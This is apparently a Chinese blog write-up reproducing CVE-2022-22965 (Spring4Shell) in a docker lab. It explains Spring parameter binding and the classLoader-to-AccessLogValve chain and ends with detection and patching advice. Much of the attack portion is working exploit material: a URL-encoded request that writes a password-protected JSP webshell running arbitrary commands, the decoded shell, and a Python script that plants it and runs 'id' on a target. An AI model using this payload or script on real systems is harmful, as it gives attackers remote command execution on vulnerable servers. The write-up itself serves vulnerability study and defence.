Spring RCE 漏洞 CVE-2022-22965复现分析

前言:

    关于CVE-2022-22965漏洞的环境调试和内容，网上看了一波，感觉有些知识点内容还是必须要了解才能理解该漏洞，为此详细写了下从Spring框架结构分析，环境搭建到漏洞分析调试整体的一个过程理解，在遇到其他类型的漏洞也可以去调试运用。

(一）了解Spring框架

  由于本文主要介绍漏洞原理流程，所以有关框架不会具体展开，会将涉及到的内容进行解释。

1、spring framework

 它是Java最流行的一个框架，基于Spring我们可以直接调用实现一些简单的业务逻辑即可使用，同时也包含了许多高级的功能，比如面向切面编程，也可以非常简单的和其他组件进行集成，比如说我们用Spring访问数据库Redis......它都已经提供了相应的接口。

2、Spring Boot

    但是spring的配置非常繁琐，后来出现了Spring Boot , 其内置tomcat并且内置默认的XML配置信息，从而方便了用户的使用。下图就直观表现了他们之间的关系

Spring mvc就是spring中的一个MVC框架，主要用来开发web应用和网络接口，但是其使用之前需要配置大量的xml文件，比较繁琐，所以出现springboot，其内置tomcat并且内置默认的XML配置信息，从而方便了用户的使用。

（二） 漏洞介绍

Spring Framework RCE, Early Announcement

受影响范围：

• Spring Framework < 5.3.18
• Spring Framework < 5.2.20
• JDK ≥ 9

不受影响版本：

• Spring Framework = 5.3.18
• Spring Framework = 5.2.20
• JDK < 9
• *与Tomcat版本有关

基础知识

    在Spring MVC框架里面，假如我们在前端发请一个HTTP的请求，在后端用Controller进行接收处理，Spring提供了如果你请求的参数和你所编写的参数可以对应起来的话，它就会调用对应set和get方法（默认自带的方法）进行自动绑定，当然也可以进行多级绑定：

eg：

参数名赋值：contry.province.city.district=jianye

调用链路：

    Contry.getProvince() 

    Province.getCity() 

    City.getDistrict() 

    District.setDistrictName()

江苏->南京->建邺

eg:

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
@RequestMapping(“/addUser”)
public @ResponseBody String addUser(User user) {
return “OK”;
}
}

public class User {
private String name;
private Department department;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Department getDepartment() {
return department;
}

public void setDepartment(Department department) {
this.department = department;
}
}

public class Department {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

当请求为/addUser?name=test&department.name=SEC时，public String addUser(User user)中的user参数内容如下：

• PropertyDescriptor

    **JDK自带： **
  

1. Java Bean PropertyDescriptor
2. 自动调用类对象的get/set方法

eg:

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);

BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals(“name”)) {
userNameDescriptor = descriptor;
System.out.println(“userNameDescriptor: “ + userNameDescriptor);
System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, “bar”);
}
}
System.out.println(“After modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
}
}

userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar

从上述代码和输出结果可以看到，PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合

• BeanWrapperImpl（使上面调用更加简单）

1. Spring自带：
2. BeanWrapperImpl
3. 对Spring容器中管理的对象，自动调用get/set方法

eg:

import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);
Department department = new Department();
department.setName(“SEC”);
user.setDepartment(department);

BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println(“userBeanWrapper: “ + userBeanWrapper);

System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));

userBeanWrapper.setPropertyValue(“name”, “bar”);
userBeanWrapper.setPropertyValue(“department.name”, “IT”);

System.out.println(“After modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
}
}

userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT

从上述代码和输出结果可以看到，通过BeanWrapperImpl可以很方便地访问和设置Bean的属性，比直接使用PropertyDescriptor要简单很多。

利用思路：

    通过Controller的参数赋值（自动绑定）， 可以修改任意对象的属性值，假如说我们修改一个文件名和保存路径，写入一个话木马，用中国蚁剑连接，控制整个项目，那么我们就成功实现入侵。这个文件就是Tomcat

Tomcat日志:

我们想利用的就是access_log属性值里面的内容。

access_log属性：

• directory： access_log文件输出目录
• prefix： access_log文件名前缀
• suffix： access_log文件名后缀
• pattern： access_log文件内容格式
• fileDateFormat：access_log文件名日期后缀，默认为.yyyy-MM-dd

在server.xml里面就配置了对应的文件名和保存路径,在它里面我们找到了类名。

调用链

class.module.classLoader.resources.context.parent.pipeline.first.pattern User.getClass()         
   java.lang.Class.getModule() 
      java.lang.Module.getClassLoader() 
         org.apache.catalina.loader.ParallelWebappClassLoader.getResources() 
            org.apache.catalina.webresources.StandardRoot.getContext() 
               org.apache.catalina.core.StandardContext.getParent() 
                  org.apache.catalina.core.StandardHost.getPipeline() 
                      org.apache.catalina.core.StandardPipeline.getFirst() 
                            org.apache.catalina.valves.AccessLogValve.setPattern

（三）漏洞复现

1、进入并启动

cd spring/CVE-2022-22965
docker-compose up -d

启动需要一定的时间，主要看电脑的性能。

2、漏洞复现

    访问网页并且进行抓包，修改红色框中的内容，其内容的简单目的是写入恶意代码到webapps/ROOT目录下的fuck.jsp文件中，在访问该文件的时候，需要验证密码pwd之后才能够执行需要执行的命令cmd。（PS：每次写完shell会有缓存，因此payload没打成功请重启）

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

suffix: %>//
c1: Runtime
c2: <%

看似复杂，实质上就是反复调用get和set方法，进行复制取值修改路径注入一句话木马，我们来具体分析一下。

1、BP抓包，加入代码

首先对suffix（后缀名）、c1（路径）、c2（文件名）参数进行替换。
经过处理之后，有些java基础的人已经看出来了这是一个写入webshell的语法
首先判断pwd是否是fuck，如果通过就执行cmd命令

写入一句话木马，我们可以通过中国蚁进行连接，密码就是参数名pwd    
GET 
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
<% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 
    int a = -1; byte[] b = new byte[2048];
        while((a=in.read(b))!=-1){
            out.println(new String(b)); 
    }
}%>//
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp                //后缀名是jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT    //路径是webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck                //文件名字是fuck
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

    进入到容器内部，查看是否生成了fuck.jsp，发现成功生成了fuck.jsp，并且其内部的内容也是成功写入了

docker ps
docker exec -it 7c /bin/bash
cd webapps/ROOT
cat fuck.jsp

感觉上述步骤麻烦，直接自己写pthyon脚本进行攻击

import requests

headers={
    "suffix": "%>//",
    "c1": "Runtime",
    "c2": "<%"
}

payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
ip="http://192.168.1.136:8080"
payload2='/fuck.jsp?pwd=fuck&cmd=id'

try:
    U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
    U2=requests.get(url=ip+payload2,verify=False,timeout=3)
    if U2.status_code == 200:
        print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}")
except Exception as e:
    print(e)

（四）排查思路

1. Spring 参数绑定功能
2. JDK版本 9+
3. Tomcat部署方式及版本
4. Tomcat Access功能
5. 流量分析
6. 日志分析

(五）漏洞修复

（参考： 深信服千里目安全实验室）

1、WAF等安全组件防护

在WAF等网络防护设备上，根据实际部署业务的流量情况，实现对“class.*”“Class.”“.class.”“.Class.*”等字符串的规则过滤，并在部署过滤规则后，对业务运行情况进行测试，避免产生额外影响。

2、官方修补

更新升级到最新版本。链接如下：
https://github.com/spring-projects/spring-framework/tags
注：Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本